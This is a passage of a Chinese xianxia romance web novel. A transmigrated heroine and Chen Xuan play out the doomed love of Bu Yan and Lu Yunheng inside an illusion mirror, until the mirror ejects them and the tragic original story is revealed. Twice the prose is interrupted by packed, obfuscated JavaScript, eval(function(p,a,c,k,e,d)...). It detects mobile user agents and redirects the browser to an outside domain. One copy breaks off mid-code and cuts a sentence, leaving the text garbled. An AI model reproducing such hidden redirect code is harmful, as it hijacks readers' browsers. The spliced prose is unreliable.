殷稚鱼将他的反应尽收眼底,闷闷地笑,玩味地说,“陆道友该不会连避火图都没看过吧?” 殷稚鱼的口吻,仿佛她对这些东西很了解一样。 辰瑄保持着冷淡的语调,“步姑娘很了解?” “当然,”南沧也不想太得罪陆云珩,所以他派来的手下只是能够隐约听到动静,并且透过窗纸看见房间里的情景,殷稚鱼亲密地和辰瑄低语,“我也是博览群书的人。” 现在看,房间里的两人似乎滚在了一起,像是交颈鸳鸯一样亲密。 他眨了下眼,继续观察。 一直保持这个动作也会露馅,殷稚鱼伸手,拽了下床铺两侧的轻纱,绘着合欢花纹路的铜铃开始叮叮当当地响,碰撞出一连串清脆的嗓音,像是这张床上在翻云覆雨,因为动作太大而制造出连绵不绝的声响。 一直都觉得铜铃很奇怪的辰瑄总算清楚了这个铃铛的用处,“……这个铃铛,就不能让它安静一点吗?” “不能哦,”殷稚鱼老实说,“如果没有一点声音的话,他们可能会怀疑你不行。” 最后三个字,她几乎是含在唇齿间轻又慢地说出来的。 辰瑄眉一跳,额头绷出根根清晰的青筋。 他再次后悔接取这个任务了。 向来喜怒不形于色的上清宗道子,差点被这个姑娘逼得破防。 光有铜铃的声音也不行,殷稚鱼又扯了下辰瑄的衣角,低声说了声,“配合我。” 修长高挑的少年人被按在床褥上,清墨一般的长发泼洒在床铺上,仿若一副隽丽的墨画,潜入魔界之后,他的衣衫也相应地更改了配色,换成了魔族人喜欢的紫色,却不是浓烈的深紫,而是浅浅的颜色,他手肘撑着床铺,表情有些茫然,浅紫色衣衫更衬出肌肤无暇的雪白,惹人蹂躏,而他身上的少女则像是强抢民女的恶霸,笑得可恶又狡猾,明媚得很,纱裙与浅紫衣衫纠缠在一起,重叠的衣角摩擦出暧昧旖旎的声响。 她俯下身,低头,两人的影子亲密无间地交叠在一起,如同接吻一般,隐隐有水声隐晦地传出。 用留影符将这个画面录下来的魔族下属满意地离开了。 只是单纯地将脑袋搁在辰瑄身旁,并且以人力制造出类似于接吻的声响的殷稚鱼拍了拍手,深藏功与名,干脆利落地抽身,“好了,可以起来了。” 稀里糊涂地配合着演完全套的辰瑄撑着起身,坐在床上,他偏头看了眼仍在晃动的铜铃,抿着唇就想要毁尸灭迹。 “哎哎哎,别动手,”殷稚鱼赶忙阻止他,“你要是毁了这些铃铛,我明天还得去找老鸨要。” 辰瑄表情相当难看,上清宗尊贵无匹,从来不为外物所动的道子可能没有想过会有这么一天,被一个女孩按在床铺上,而且还是他在下的姿势,可以说是很黑历史了。 黑历史就是要销毁,辰瑄不仅想要毁了这些铜铃,就连从头到尾策划了这些的殷稚鱼,他也不想要留下来, 感觉到辰瑄身上隐隐的杀气,殷稚鱼立刻往后退了两步,识趣地选择退让,毕竟陆云珩今天也算丢大脸了,她心痛地说,“算了,你把这些铃铛毁了吧。” 辰瑄没说话,但是这些铃铛在他的操纵下,一点点地变扁,然后化为一团铁疙瘩,再被少年握在手里,一点点地揉碎成铁屑,纷纷扬扬地从他干净雪白的指间落下。 看出他的心情是真的糟糕,殷稚鱼抖了抖,干笑两声,非常勇于作死,挑战辰瑄忍耐极限,“我刚才都要亲你了你还没硬,所以陆云珩道友,你竟然真的不喜欢我吗?” 辰瑄:“……步姑娘。” 从小到大,几乎没有什么太大的情绪波动的陆云珩这次是真的想要杀人灭口。 他嗓音很淡,但是殷稚鱼还是听出了警告的意味,肩膀一抖,终于老实了。 辰瑄平复了一下心情,“步姑娘怎么会在青楼潜伏?” 他刚才听步胭说自己潜入魔族,却没有理解女孩为什么会跑到青楼来。 青楼乱的很,她一个人势单力薄,也调查不出什么,相反,可能会招惹很多觊觎她美色的豺狼虎豹。 殷稚鱼拨了拨熏香,“因为这里最方便下手啊。” 她笑了下,“我打听过了,南沧沉溺女色,这是他的一个弱点,我本来想当花娘混到他身边,然后再想办法接近南昆。” 殷稚鱼有些可惜,“我本来都混到花魁了,结果现在却功亏一篑。” 见辰瑄一副一言难尽的表情,殷稚鱼又笑眯眯地补充,“不过想了想,我还是做不到去勾引一个魔族世家子,还是个空有皮囊的纨绔,所以也没有多遗憾了。” 辰瑄凝神,“不对。” 少年沉声说,“如果步姑娘你想要接近南沧的话,有许多办法,比当花娘更保险。” 殷稚鱼:“……” 她表情垮了下来,幽幽地说,“你非要我直白地告诉你,我去应聘南府的丫鬟,然后因为不会伺候人被赶出来了吗?” 辰瑄:“……” 殷稚鱼:“又或者,我去应聘厨娘,也因为不会做饭被赶出来了。” “现在之所以在这里,”殷稚鱼捂住脸,嗓音越来越低,“是因为我给老鸨砸了大把的魔石,她才愿意收留我,我本来想待在这里找个机会接近南沧的。” 辰瑄唇弯了弯,微微忍俊不禁。 殷稚鱼最开始是想走才艺的,靠才艺征服南沧的,毕竟庄家的事情牵涉到南昆,南昆是南沧的父亲,他必然知晓部分内情,但她没有想到,她根本没有这种才艺。 在她自信地打破一只茶杯一只瓷碗,烧坏了一个锅打碎了两个鸡蛋熬坏了三锅汤后,原本想着这人虽然笨手笨脚,但是好歹脸长得好看,可以献给南沧公子换取奖赏的管事放弃了,毕竟南沧虽然好美色,但是审美正常。 他可能会喜欢什么都不会楚楚可怜撒娇的笨蛋美人,但是肯定不会喜欢做错了事还犟着脑袋和管事有理有据地讲道理,试图说服管事全是厨具的问题的犟种美人。 管事冷酷无情地将殷稚鱼扫地出门。 茫然地被扔出府后,殷稚鱼这才接受了自己潜伏计划的失败,不过她又准备了备用的方案,去青楼毛遂自荐。 老鸨对她这张脸还是很满意的,可惜殷稚鱼不满足于当一个安安分分的花瓶,试图表现出自己的其他才艺。 在她开嗓吓哭了老鸨养的鹦鹉,画画画成一坨老鸨半天愣是认不出来了并且毁了自己一块上好的墨锭,弹琴绷断了古筝的琴弦后,老鸨清晰地认识到了免费的才是最贵这个深刻的道理,并且试图纠正错误。 好在关键时刻,殷稚鱼及时祭出钞能力,这才避免了和上次一样,被赶出去的命运。 当然,老鸨也很疑惑殷稚鱼不缺钱,为什么会跑到青楼来。 殷稚鱼:“实不相瞒,我从小就有一个梦想。” 她一字一顿,诚恳表示,“我从小就希望所有人都能欣赏到我的美貌,并且为我鼓掌送花,妈妈你一定会理解我的吧。” 老鸨颔首,顿时理解了:这姑娘脑子有病,不过人傻钱多,白送上门的魔石,不要白不要呢。 以上,是殷稚鱼流落青楼的全过程。 当然,这是她的黑历史,除了一直跟着她的,由步家家主派来保护她的人知晓后,其他人都不知道,就连步家家主那边,也被殷稚鱼用敢说就让母亲解雇他们的说辞恐吓住,乖乖地没有告诉步家家主。 她当然不会告诉别人。 就连辰瑄,都是省去了过程,直截了当地告诉结果。 殷稚鱼打了个哈欠,有些困 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她虽然没有说话,但周身却全是她存在的证据,窗户开了半扇,甜腻的熏香顺着流动的空气涌出,似乎还混杂着她身上的香气,清甜的,浅淡的,在被邪修捉进窝点的时候他感受过,混在腐烂和潮湿发霉的水汽里依旧清新,像是温和的果香,明明并不浓烈,隔着这么远也应该感受不到,却铺天盖地一般朝他扑来,像是她这个人一样,夺目到让人难以忽视。 他睫毛一颤。 意识到自己在想什么后,辰瑄唇抿得越来越紧,他别开脸,床铺上铺着厚厚的床褥,殷稚鱼在这里待了几天,说明床她也睡过,为了避嫌,少年就不可能睡在她睡过的床铺上。 他闭上眼,倚着拔步床的床头,试图就此休息。 然而闭上眼之后,殷稚鱼的呼吸声似乎更加明显了一点。 辰瑄又睁开眼,盯着虚空看了一会,重重地叹了一口气,睁着眼等待天亮。 殷稚鱼一觉睡到清晨,有枕头垫着,睡着也不算难受,毕竟以前她和步家家主闹脾气的时候,别说桌子了,她连野外也睡过,必要时候,就不用讲究这么多了。 她神清气爽地和辰瑄打招呼,“陆云珩道友,早好。” 看清楚辰瑄的模样时,她微微有些诧异,辰瑄神色不虞,虽然脸上看不出什么,也没有黑眼圈,但她莫名觉得,现在的辰瑄有些萎靡。 少女试探性地问,“陆云珩道友,你昨天难道一晚上没睡吗?” 辰瑄摇了摇头,“没有。” 殷稚鱼哦了一声,以为辰瑄是担忧陌生环境,万一南沧半夜又派人来看他们这边的情况了就不好了,虽然南沧看起来没有这个癖好,但谁说的准呢。 她洗漱好,和辰瑄一起出门下楼。 “云兄。”南沧和美人一夜荒唐,意犹未尽地挥别美人,刚好遇见下楼的辰瑄和殷稚鱼,注意到他周身的低气压时,脚步一顿,又看向殷稚鱼。 少女倒是元气满满,注意到他的视线,还友善地笑了下。 南沧心中啧啧,果然英雄难过美人关啊,昨天他的下属来禀报,说是这俩人在房间里干柴烈火,还是阿胭姑娘主动的那一种。 云兄这,有点不行。 不过看云兄这样子,想必对阿胭姑娘也是真心。 南沧心里有了计较,不紧不慢地在青楼里用了早膳后,主动向辰瑄提出建议,“云兄,青楼腌臜,如果你真的喜爱阿胭姑娘的话,不如将她接入府。” 辰瑄怔了下,显然是之前没有想过这个问题。 “阿胭姑娘这样的美人,”南沧故意这样说,“若是待在这里,怕是会惹来无数人觊觎。” 辰瑄垂下眼眸,“我等会去问问她。” 南沧心里更加确定了步胭对陆云珩的重要性,不然的话,一个花娘而已,不管她之前是做什么的,和陆云珩发生了什么,现在都沦落到了青楼,如果想要的话,直接买回去就行,但听陆云珩这个语气,显然是想要询问她的意见。 果然陆云珩是真心。 但是这样的发展也对南沧有利,他当然不会拒绝,笑眯眯地让他去。 辰瑄真的去问了殷稚鱼的意见,“南沧让我把你带回府,”顿了顿,他问,“你要不要答应?” 进府有好有坏,虽然有利于殷稚鱼接近南昆,但也有憋处,她若是答应,那么暗处里那些护着她的人就不可能跟着进去,毕竟南昆再怎么说,也是一位魔君的护法,修为高深,那么殷稚鱼一旦露出破绽,必然危险。 辰瑄举棋不定,将选择的权利交到了殷稚鱼的手里。 殷稚鱼眼睛一亮,毫不犹豫地答应下来,“当然要去。” 她似乎看出了辰瑄脸上的担忧,笑了下,轻声说,“我也没有表现出来的那么柔弱,陆道友可以相信我,我不会拖你的后腿的。” “庄家的仇,他们是我母亲的外家,也是我的外家,既然他们出了事,那么我必然要向南昆讨回这份因果。” 辰瑄轻点了点头,虽然还是不太放心,但还是尊重了殷稚鱼的选择,两人一起回到南府,而殷稚鱼被安排和辰瑄住在一起,算是南沧特别安排的。 26. 踢出 殷稚鱼在南府上的日子算得上如鱼得水。 南沧看重辰瑄,虽然他表面看上去是不学无术风流放荡的幼子,但是毕竟是北魔君左护法最宠爱的子嗣,身处距离权力最接近的地方,耳熏目染下怎么可能没有野心,而南沧如果想要在诸多野心勃勃的兄弟姐妹之中胜出,就需要忠诚且好用的手下。 而辰瑄,就是他选中的那个人。 底层出身,偏偏天赋足够性格沉稳,他倚重他,却因为认识时日尚短,不免忌惮他,无法做到百分百的信任,而忽然出现,表现得与辰瑄关系匪浅的殷稚鱼,就是南沧自以为拿捏住的软肋,可以利用的棋子。 而辰瑄也需要打消南沧的警戒心,悄无声息地接近南昆,正道吃了那么大一个亏,当然不可能轻轻揭过,他已经接到传讯,希望在能做到的情况下做到诛杀南昆,血债血偿。 于是就这样,达成了南沧满意,辰瑄满意的微妙平衡。 至于殷稚鱼,进入南府之后则老老实实地接受了自己美貌摆件的身份,表现得格外安分,她很少出府,开始沉迷养花。 出事的人是步胭的外家,偏偏她却毫不着急,面对辰瑄的疑惑,殷稚鱼是这样回答的。 女孩托着腮,严谨地探了探土壤的湿度是否合适,小心地往里面浇了点水,花种还没有发芽,如果用灵气催动的话可能会生长得快一点,可她一向风风火火,偏偏在养花这件事表现出了异常耐心的态度。 “因为我和他们都不熟啊,”殷稚鱼笑眯眯地说,语调透出几分漫不经心地的凉薄来,“他们是我母亲的家人,但和我却没什么关系,顶多叫一声姥姥而已。” 她弯了下眼。 “比起庄家,”少女放下水壶,轻快地走到她面前,她乌黑的发辫末梢扬起一角,弯折出柔软的弧曲,鼻尖折射出微末的珠光,“我更在意你啊。” 她半真半假地说,腔调散漫,听不出多少认真来。 辰瑄已经习惯了殷稚鱼时不时的表白,“步姑娘慎言。” 她却靠得更近了一点。 “小冰山,”她睁着眼,瞳眸圆而清透,明净的瞳仁里清晰地倒映出他的影子,“你为什么不信,我是真的喜欢你啊。” 她拖长了音调,说。 辰瑄心骤然漏跳了一拍。 “步姑娘,”他不躲不避地直视她的眼睛,一字一顿没有任何回避,沉静地说,“我是上清宗弟子,修的是不沾情爱的太上忘情。” 殷稚鱼轻微地怔了下。 步胭远离正道,常年在九州五岛各个偏僻的地方游荡,她其实对于正道宗门没有太多的认识。 “但是,”少女微微仰起脸,“陆云珩,你对我,其实也有那么一点心动吧?” “我不在意这个,如果你觉得我对你的道途有碍,我可以立刻消失。” 辰瑄没有回答。 趋光的天性,注定了人会被明亮的事物吸引。 即便那可能会万劫不复。 “那就够了。” 她踮脚,柔软吻上他微颤的眼睫。 一触即离的温度,她撤离,挥了挥手,“再见哦。” 她抱着花盆,继续研究花种。 辰瑄偏过脸,白皙的耳垂红得不像话,他紧紧地抿着唇,一声未吭。 这个算不上吻的吻被他们心照不宣的忽视了,殷稚鱼和辰瑄相处得仍然不冷不热,她不会干涉辰瑄的行动,顶多偶尔问几句。 “打算动手了吗?”殷稚鱼问。 辰瑄颔首,他这段时间取得的成果显著,眼睛不需要再继续与南沧虚与委蛇了,南沧自以为得到一张好牌,兴冲冲地把他介绍给了南昆。 他这些天的行动,已经初步得到了南昆的信任。 只是这只老狐狸远比南沧狡猾,不可能安全委以信重。 但已经够了。 殷稚鱼有点遗憾,嘟哝了一句,“可惜我养的花了。” 她戳了戳刚刚发出小芽的花种。 这花是魔族特有的品种,带回九州五岛多半活不了,殷稚鱼一时兴起,养到现在还真的养出几分真情实感来了。 辰瑄视线微移,落在殷稚鱼低头时露出的发旋上,有些话卡在喉咙里,却迟迟地吐不出来。 这些时日殷稚鱼和他的相处方法一如既往,她说过只要辰瑄拒绝,那么她就立刻远离。 但是明明打好无数遍腹稿,辰瑄还是什么都没有说。 少年长睫很轻地抖了下。 这种态度,其实已经趋向于一种自暴自弃的默认了。 再等等吧。 辰瑄握着长剑,还是没有开口。 在北魔君的大本营里击杀左护法无疑是一件冒险的事情,也是为此,左护法的警惕心比平时更弱,也被辰瑄抓住了机会。 为了牵制住北魔君,正道付出了一定的代价,使得他没有注意到南府上的动静。 而本以为辰瑄已经是自己这边的人,南昆没有想到他会猝不及防地反水,身边几乎没什么护卫力量,他抓住辰瑄出手的间隙,拼死一搏。 两人贴得太近了,南昆这一手反击来得突然,等辰瑄察觉到的时候已经无法避开,受伤本来无可避免,但千钧一发之际,他却被忽然出现的殷稚鱼推开。 那根锋利的箭矢穿过她的琵琶骨,溅开大波的血色。 殷稚鱼的脸色顷刻间惨白如雪。 “步姑娘,”辰瑄反应过来,他的手似乎在微微发抖,箭矢上有毒,他握住箭羽,甚至没来得及去看一眼南昆咽气的尸体,“可能会有点疼,你忍一下。” 殷稚鱼唇泛起淡淡乌紫,精神倒是很好,她笑起来,“陆云珩道友,你这是在意我吗?” 辰瑄定定地看着她,半晌后,才替她拔出箭矢,他渡过去灵气,封住她出血的伤口,并且以特殊法子为她止痛。 他像是终于肯承认了现实,妥协般嗯了一声。 “是。” “步姑娘,我很在意你。” 像是最难的游戏通关,她打出她最喜欢的结局一般。 殷稚鱼视野中画面定格。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399401|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 琵琶骨上的痛感与真实的记忆彼此交织摇晃,与步胭的记忆产生了冲突,她捂住太阳穴,仿佛难以承受一般,缓缓弓起腰身,像是濒死的鱼一样抽搐了一下。 下一刻,殷稚鱼被踢出了溯天镜。 少女灰头土脸地在地上滚了一圈,一直盯着镜面观看的步胭头也不回,一抬手就用灵气托着同样被踢出的辰瑄,只是和清醒的殷稚鱼不同,女子不耐烦地伸手,虚虚一点,原本有些清醒迹象的辰瑄再次陷入了昏迷。 殷稚鱼久久地沉默着。 “系统,”她生无可恋,一点都不讲究地摊开四肢,两眼发直,“你为什么不提醒我?” 一想到自己在环境里调戏辰瑄,还有那个落在睫毛上的吻,殷稚鱼就恨不得自己失忆了,她思忖了一下现在给自己后脑勺一拳头的话,能不能起到清除记忆的作用。 ……算了。 殷稚鱼怕疼。 之前在幻境里突然受伤,虽然伤是假的,但疼痛是真的。 “宿主,”系统当然不肯承认自己是故意的,主要是看宿主和男主在幻境里发展得挺好的,它就没有叫醒宿主,“我绑定在你身上,所以你陷入幻境了,我也没办法清醒。” “……” 不明白系统运行机制的殷稚鱼轻易就被唬住了。 她悻悻地爬起来,步胭施施然转身,施舍了她一个眼神,“清醒了?” “前辈,”一想到步胭在外面旁观了全程,殷稚鱼就心情复杂,她问出自己最好奇的问题,“为什么要把我和小师叔送进幻境里?” 步胭解释了下,“溯天镜曾经出现过破损,之后就一直不太稳定,其他人可以由幻境捏造,但最主要的人物需要由真人扮演,不然幻境容易崩塌。” 但就算是需要人真身入内,他也必须和扮演的主角有点相似的地方,毕竟溯天镜还没有逆天到强制操纵一个人的一举一动,入内的人被赋予了虚假的记忆,但是本身性格不会有多大的变化,因此,在剧情发生太大偏差的时候,溯天镜会把人踢出来。 步胭性烈如火,敢爱敢恨,和殷稚鱼有点像,可她比步胭清醒,也比步胭更会权衡利弊,所以她们到底是两个人。 而辰瑄和陆云珩的相似点…… 步胭扯出一个嘲讽的弧度。 大概是正道悉心培养出来的天骄,所特有的那种无私和仁善吧。 看出步胭心情不好,殷稚鱼缩了缩脖子,老老实实地没敢随便乱动。 幻境还在继续,毕竟清玄还在里面,殷稚鱼和辰瑄因为性格相悖被踢出来,但清玄却是原装货,还是最清楚步胭和陆云珩过往的人,当然没有问题。 失去两个稳定幻境的人,溯天镜随时都有可能崩塌,但在步胭输入的灵气下,又奇异地稳定了。 步胭没有阻止她,殷稚鱼站起来,也跟着在一旁做起了安安静静的旁观者。 她曾沉浸式扮演过步胭,所以也有点好奇最后的结局。 ——属于步胭和陆云珩的,百年前的,被埋葬的结局。 27. 反悔 殷稚鱼和辰瑄从溯天镜脱离之后,它自动修正了幻境,步胭和陆云珩成了溯天镜的灵气幻影。 这也是殷稚鱼第一次见到真正的陆云珩。 上清宗的道子不负盛名,是冰雪般凛冽又俊美的容貌,漆眸白肤,姿容瑰然,像是国庙里供奉的神像,厚重内敛的石料熔铸成疏冷而不可攀的模样,难以言喻的俊俏与疏离。 他扶住步胭,手掌小心地托住她的后背,毒被引出,少女模样的步胭脸色发白,忍不住疲惫,沉沉睡去。 她少女时候比现在要更生动一些,眼角眉梢都是璨然的鲜活与灵动,仿佛无所畏惧,青年惯常握剑的手轻柔拂过她的长发,流水般的黑发漓漓散开,像是华美而又柔滑的绸缎,更显出修长如竹骨的一点指节色泽,素白凛然。 南府的现场收尾会有其他人接手,陆云珩消耗过大,只需要回去就行,他抱起熟睡的步胭,顿了顿,忽然,珍惜又生涩地在她额间落下一个吻。 殷稚鱼立刻移开视线,小心地去看步胭的反应。 步胭的指尖陷入鬓边的发丝里,轻描淡写地滑过,带一点漠然,辨认不出喜怒。 殷稚鱼:这个画面,是她不付钱就能看到的吗? 不过步胭没出声,殷稚鱼内心在一番激烈的挣扎后,还是没有敌过想要吃瓜的内心,视线默默又不怕死地地移了回去。 半路,怕魔族发现后对陆云珩出手,正道特意派了和他私交甚好的清玄来接人,但清玄没有想到,他本以为潜入魔族的只有陆云珩一人,却没想到步胭竟然会在这里。 青年怔了怔,在看到陆云珩珍重地抱着怀里的少女后更是不可思议,瞪大眼睛,严肃质问,“陆云珩,你到底想干什么?” 他第一次这样郑重地喊陆云珩的名字,语调肃然,像是在喊一个陌生人。 陆云珩停下脚步,见到靠谱的人后,一直绷着的脊背松懈了几分,他很淡地抿着唇,答非所问,“我回去,会向师尊自请除名。” 清玄脸色更难看了。 他们是挚友,不用多说清玄就知道陆云珩的选择,他没想到一向理智的陆云珩真的会动心,还是这样一发不可收拾的趋势。 他声线渐低,“你可知道你这样做要付出什么代价?” “知道,”陆云珩从容道,他显然早有预料,在做出选择的那一刻便已下定决心,“太上忘情道自毁,修为尽废,沦为凡人。” “可是清玄,”陆云珩垂下眼睫,“我还是愿意。” 清玄忽然读懂了陆云珩的想法。 他头疼,“我就知道你们这些老冰棍动心之后麻烦,没想到会这么麻烦。” 麻烦的不是陆云珩爱上了步胭,而是他本不该爱上任何人。 可他偏偏动了心,于是坦荡前途尽数摧折,他换了一条荆棘丛生的道路。 陆云珩身上还沾着南昆的血,很轻地笑了下,他知道清玄这样说就是赞同了,“谢谢。” “……”清玄扭过头,不去看那死恋爱脑。 清玄:“接下来该怎么做?” 陆云珩:“阿胭受了伤,我先送她到一个安全的地方,”顿了顿,他说,“再回上清宗。” 清玄叹了口气,不耐烦地说,“真是欠了你的,快走吧。” 他领路,领着陆云珩到了一处安全的宅院暂时休憩,这里没什么人知道,很适合步胭养伤。 陆云珩没有过多停留,他换了身干净的衣服,又掐了好几次清洁咒,将自己上上下下都收拾得干干净净,“我回上清宗了,麻烦清玄,替我暂时照顾一下阿胭。” 清玄掐了一下额心,“什么时候能回来?” 陆云珩握紧手上的长剑,笑意流露出一分真心实意,“三日后吧。” “去吧,”清玄挥了挥手,示意陆云珩自便,他懒洋洋地说,“等你回来后我就离开了。” “我知晓了。” 陆云珩没有多留。 他独自一人挺直脊背回了上清宗,没等师尊询问就自请除名,师尊震怒,大能的威压沉沉压下,压得他动弹不得,“陆云珩,你可还记得上清宗的规矩?” 陆云珩甚至能够听到骨骼不堪重负发出的嘎吱声,本来就没有养好的伤势重上加重,他咽下喉咙中的腥甜,“记得。” “不可动情,”他说,“抱歉,师尊。” 师尊定定地看着他,语调是前所未有的冷漠,“你现在,是要为了一个女子而放弃这么多年的苦修,我们上清宗,怎么会出你这样的废物?” 陆云珩全盘接收,面不改色。 师尊一看他的脸色就知道他这个弟子是打定主意一条路走到黑了,顿时更加烦躁了,但是上清宗又非邪道,不能杀了陆云珩心仪的那名女子一劳永逸。 师尊:“你若要脱离上清宗,那么将会召开宗门会议,在上清宗所有长老的见证下,废除你的修为和功法,并将你逐出宗门,值得吗?” 陆云珩颔首,“还望师尊向宗主请示。” 师尊张了张嘴,想要说什么,却觉得说什么都不合适,欲言又止。 “云珩。”忽然有一道稳重沉静的嗓音响起。 陆云珩以及他的师尊都愣住了。 “宗主。” 陆云珩长睫一颤,本以为上清宗宗主要和师尊一起,训斥他的胡闹,却没想到宗主开口极为平静,“你想要抛弃上清宗道子的身份,自废前程,是否心意已决?” 陆云珩点了点头。 宗主面色不改,“即便失去上清宗的庇护之后,你和你心上人的仇家都会找上来,到时候沦为凡人的你,又该如何保护她?” “那个小姑娘是步家的孩子吧,”宗主像是看不见他愈发雪白的脸色一样,将那些血淋淋又残忍的事实在他眼前摊开,“步家远在楚州,它能不能护住你和步胭,又是否愿意护住你和步胭?尚且是未知数。” 陆云珩血液冰凉,这才后知后觉地意识到,自己面对的,竟然是必死之局。 沦为凡人之后,即便再次修行,也需要一段不短的时间,而他招惹的仇家不会给他成长的时间,若是上清宗宣告一出,他们必会掘地三尺,欲要置他于死地。 那他又该怎么护住步胭? 陆云珩第一次痛恨自己的无力。 “云珩,”宗主淡淡地说,“除非你们愿意隐姓埋名,否则若是想要安稳一生,无异于痴人说梦。” “你要怎么抉择?” 陆云珩孤独地站在原地,慢慢松开握着剑的手,哐当一声,那把曾经斩杀过无数妖兽,令魔修闻风丧胆的名剑掉在地上,普通得像是一把最平凡不过的铁剑。 溯天镜外,步胭忽然笑出声。 原来这就是真相。 何其可笑。 她甚至已经猜到了陆云珩的选择。 宗主:“如果为了步胭好的话,放弃吧。” 陆云珩睫毛轻微扇动了一下。 像是蝴蝶自泥潭里坠落堕毁,越挣扎毁灭得越快,只剩下浓烈的悲哀与痛苦,摇摇晃晃地被腥而污浊的雨水和泥土吞没。 真可悲。 步胭静静地想,他们都是。 她如愿听见了陆云珩的回答。 沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丹药燃烧着她的血气,暂时换来了更强大的实力。 之后她需要躺很长一段时间休养。 不过步胭想不通的是,上清宗的长老没有出手,不然任凭她一人,是无论如何也打不进上清宗的,像是有人刻意嘱咐过给她放水,让她千辛万苦地寻到了陆云珩。 她想不明白,爱惜地摸了摸手腕上的红线,像是又生出了无限的勇气,那是陆云珩自魔界返回九州五岛的时候买的,悄悄系在她的手腕上,鲜艳招摇,像是一截流动的血脉。 出乎步胭意料的是,陆云珩并没有被关在宗门某一处,而是在自己洞府,少女疲惫地用长剑抵住地面,以此借力,一抬头就撞见陆云珩的目光里。 他静静地站在洞府门口看着她,神色淡漠,情绪是当时的步胭读不懂的复杂。 那时候的步胭是怎么说的呢? 现在的步胭看着溯天镜,不愿意回想的记忆悉数复苏,她看着自己兴冲冲地说,悄然掩去了手臂的伤势,弯着眼,骄傲得像是大胜而归的大英雄,“陆云珩,我把你救出来了。” 可是不是所有的故事结局都是美满。 陆云珩闭了闭眼,他说,“步姑娘,抱歉。” 他说:“此前种种,皆是我不清醒时做出的决定,还望步姑娘谅解。” 她怔住。 红衣的姑娘吸了吸鼻子,眸底雾潮潮地泛起水汽,不可置信,小脸煞白,呆呆地问,“真的吗?” “是啊,”他很轻地说,嗓音沙哑,“抱歉。” 她后退一步,像是难以承受,猛然弓下腰,难受地喘着气,刚有愈合趋势的伤口又因为她剧烈的动作而崩裂,血肉撕扯,伤势转重,她鼻端萦绕着浓郁的血腥气,却恍然不知,慢慢地咬紧唇,有泪水坠落。 真难过啊。 他向她走来。 ——然后半路回了头。 28. 海沧珠 步胭的情况其实不太好。 她本来就受了伤,又撑着一口气杀进了上清宗,每一步都是拼尽全力,走到现在,整个人摇摇欲坠,像是将被风雪压垮的竹枝。 那一场雪,太深,太冷了。 “陆云珩,”步胭缓了一口气,陷入奇异的平静之中,她眸尾抹开一道艳若朱砂的血色,她其实很讨厌血,因为她那个名义上的父亲总爱发疯,将自己弄得遍体鳞伤。 她音色钝慢,“此言当真?” 陆云珩闭了闭眼,其他出手阻挡步胭的上清宗弟子见状不对,迟疑地面面相觑,还是选择离开,青年独自站在洞府之前,干净而又清冷,与步胭的狼狈形成鲜明对比,如同淤泥抬头望月,最后一败涂地。 “对,抱歉,步胭。” 步胭想笑,却又笑不出来。 她站稳,握住长剑。 长剑抬起,带着欲要置他于死地的狠辣。 最后却只割下他的一片衣角,青色衣袍慢慢悠悠地落在地面上,像是落了一片破碎的花,她的睫毛淋上深黏的血,眉发浓黑,像是沙□□毁的刹那,既壮烈,又凄美。 “我们至此,恩断义绝。” 步胭从不回头。 她挺直脊背,目不斜视地离开。 那是很久很久之前的事情了。 久到步胭早就遗忘。 她和陆云珩的,倒数第二面。 而最后一次看到陆云珩,是在一场宗门发布的任务里。 很不凑巧,两人碰到了一起。 这个任务涉及到魔修,自从上任魔神陨落之后,魔族遭受重创,有许多魔族念念不忘过去的辉煌,想要复活魔神,甚至衍生出了许多的祭祀,而祭品,则是人族。 这场祭祀是前所未有的盛大,涉及多方势力,正道那些巨擘大能也怕魔神复活,九州五岛现在没有紫薇帝君和剑主云璃这样的领头人物,帝子年幼,常年居住于昆仑墟之中,鲜少露面,因此有关消息一经泄露就被掐死在襁褓中。 接取了任务的也有很多正道天骄,对于步胭和陆云珩之间的恩怨有所了解,八卦的眼神在两人之间来回流转,恨不得变成放大镜,一直盯着他们。 可惜步胭和陆云珩的表现却让他们失望了,陆云珩神色平淡,步胭举止冷淡,两人当做没看见,彼此连个眼神都没有触碰过。 夜晚赶路,有相熟的世族大小姐靠在步胭身旁,悄声问,“步胭,你和陆云珩,真的没关系吗?” 步胭抬手敲了她一个脑瓜崩,抿唇笑笑,“都过去了。” 往事如逝水,她不会想念。 九州五岛那样大,她只是,没有那么好运,不能与心上人相爱而已。 没关系的。 偏我来时,雪不逢春。 尽是败笔。 而这次的任务,出了意外。 正道估量过双方的实力,谨慎地派出最强的弟子出马,事情也没有出乎她们的意料,但收尾之际,步胭忽然反水。 ——不是她,是寄居在她身体里的溯安。 她的亲生父亲。 当年步家家主步徽杀死他时,自以为万无一失,没想到溯安早在之前就将一缕魂魄留在了步胭体内,那缕魂魄随着他的死亡而陷入沉睡,经过几十年的滋养,在此刻,重新苏醒。 他本来就是有名的邪魔外道,心狠手辣,即便是自己女儿,也没有心软。 众人本就精疲力尽,没想到步胭的背叛,有人,直接死在了步胭的剑下。 事情闹大了。 陆云珩几乎耗尽体内的全部灵力,才将他绞杀。 步胭醒来的时候为时已晚。 她怔怔,像是不敢置信,迟钝地抬起手,去看满眼的血色。 “没关系,”陆云珩勉力冲她笑笑,笑意是从未有过的温柔,“你不会有事的。” 他长指摁在她的额头上,轻描淡写,却又不容拒绝。 是封印的纹路。 “你想干什么?”步胭嗓音有些发抖,她握住他的手腕,溯安的附体耗尽了她的全部精力,现在的步胭,连拒绝都做不到。 “陆云珩,你要把我关起来吗?” “不,”青年半跪在她的身前,像是一尊清逸出群的观音像,肌肤冷白,容色卓然,他轻声说,“好好睡一觉吧。” 步胭垂下眼,“可我不要一个人。” 